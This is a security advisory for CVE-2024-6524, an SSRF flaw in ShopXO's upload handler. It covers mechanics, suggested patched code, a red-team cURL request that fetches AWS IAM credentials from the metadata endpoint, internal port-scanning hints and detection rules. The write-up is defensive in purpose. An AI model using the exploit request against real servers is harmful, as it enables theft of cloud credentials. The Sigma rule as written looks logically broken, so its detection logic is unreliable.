CVE-2024-6524

Executive Summary

CVE-2024-6524 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in ShopXO, an open-source e-commerce platform, affecting versions up to and including 6.1.0. The flaw resides in the extend/base/Uploader.php file, where the source argument is improperly sanitized, allowing an attacker to manipulate the server into making arbitrary HTTP requests. This can lead to internal network reconnaissance, access to cloud metadata endpoints (e.g., AWS, GCP), and potential remote code execution via chained attacks. The vulnerability is remotely exploitable without authentication, and a proof-of-concept has been publicly disclosed. No official patch is currently available, making this a high-priority threat for all ShopXO deployments.

Supply Chain & Package Security

ShopXO is a PHP-based application distributed via GitHub and its official website. As an open-source project, its supply chain risk is moderate. The vulnerability exists in the core codebase, not in a third-party package. However, administrators should verify the integrity of their ShopXO installation and monitor for any malicious modifications, as the lack of a patch may lead to unofficial or backdoored fixes circulating in the community.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – The vulnerable component and the affected resource are the same.
• Confidentiality Impact: High (C:H) – Potential access to internal services and sensitive data.
• Integrity Impact: High (I:H) – Ability to modify internal state or perform actions on behalf of the server.
• Availability Impact: High (A:H) – Could lead to denial of service or resource exhaustion.

Threat Level: Critical. The combination of low attack complexity, no required privileges, and high impact makes this vulnerability extremely dangerous. Public exploit code increases the immediate risk.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Request Forgery (SSRF) in the file upload functionality. The extend/base/Uploader.php script handles file uploads and uses the source parameter to determine the origin of the file. When source is set to a URL (e.g., source=http://attacker.com/malicious.php), the application fetches the file from that URL using PHP's file_get_contents() or similar functions without proper validation.

Root Cause: The code does not validate or sanitize the source parameter against internal IP addresses, loopback interfaces, or cloud metadata IPs. This allows an attacker to force the server to make requests to internal services, such as:

• http://127.0.0.1:8080/admin – Access internal admin panels.
• http://169.254.169.254/latest/meta-data/ – AWS/GCP metadata endpoints.
• http://internal-database-host:3306 – Probe internal databases.

Attack Flow:

1. Attacker sends a POST request to the vulnerable endpoint with source=http://169.254.169.254/latest/meta-data/.
2. The server fetches the content from the internal metadata service.
3. The response is stored or returned, leaking sensitive cloud credentials.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical secure implementation.

Vulnerable Code (extend/base/Uploader.php):

public function upload($source) {
    $content = file_get_contents($source);
    // Process and save file...
}

Patched Code (Recommended):

public function upload($source) {
    // Validate URL scheme
    if (!in_array(parse_url($source, PHP_URL_SCHEME), ['http', 'https'])) {
        throw new Exception("Invalid scheme");
    }
    // Resolve host and block private IPs
    $host = parse_url($source, PHP_URL_HOST);
    $ip = gethostbyname($host);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        $content = file_get_contents($source);
        // Process and save file...
    } else {
        throw new Exception("Access to private IPs is forbidden");
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable ShopXO instance (<= 6.1.0) accessible over the network.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /index.php?s=admin/upload/index).
2. Craft a POST request with the source parameter pointing to an internal resource.

Example Exploit (cURL):

curl -X POST "http://target.com/index.php?s=admin/upload/index" \
  -d "source=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"

Expected Output: The server will return the AWS IAM credentials from the metadata service.

Advanced Exploitation:

• Use SSRF to scan internal ports (e.g., source=http://192.168.1.1:8080).
• Chain with other vulnerabilities (e.g., file inclusion) for RCE.

Blue Team (Detection & Hardening)

Detection:

• Monitor outbound HTTP requests from the web server to internal IPs (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
• Alert on unusual source parameters in upload requests.

Hardening:

• Apply the patched code above.
• Use a Web Application Firewall (WAF) to block requests with source containing private IPs.
• Restrict outbound traffic from the web server using network policies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to 169.254.169.254 or other private IPs.
  • POST requests to /index.php?s=admin/upload/index with source parameter containing URLs.
• File IOCs:
  • Unexpected files in the upload directory originating from internal services.
• Log IOCs:
  • PHP error logs showing file_get_contents() failures for private IPs.
  • Web server access logs with source parameter containing http:// or https:// to internal addresses.

Detection Engineering

YARA Rule

rule CVE_2024_6524_SSRF_ShopXO {
    meta:
        description = "Detects SSRF exploitation attempts in ShopXO Uploader.php"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-6524"
    strings:
        $source_param = "source="
        $private_ip = /(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/
        $upload_endpoint = "/index.php?s=admin/upload/index"
    condition:
        $source_param and $private_ip and $upload_endpoint
}

Sigma Rule

title: CVE-2024-6524 SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts targeting internal IPs via ShopXO upload functionality
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php?s=admin/upload/index'
        cs-uri-query|contains: 'source='
        cs-uri-query|contains|all:
            - 'http://'
            - '127.'
            - '10.'
            - '172.'
            - '192.168.'
            - '169.254.'
    condition: selection
falsepositives:
    - Legitimate use of external file sources (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6524 ShopXO SSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?s=admin/upload/index"; http_uri; content:"source="; http_client_body; pcre:"/source=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable upload functionality if not required.
2. Apply the patched code provided in the "Vulnerable vs. Patched Code" section.
3. Restrict outbound traffic from the web server using firewall rules (e.g., deny all outbound except to trusted IPs).

Long-Term Fix:

• Monitor the ShopXO repository for an official patch and apply it as soon as available.
• Implement a Web Application Firewall (WAF) with rules to block SSRF attempts.
• Conduct a security audit of the entire codebase for similar vulnerabilities.

Workaround:

• Modify the extend/base/Uploader.php file to add input validation as shown in the patched code.

Valters IT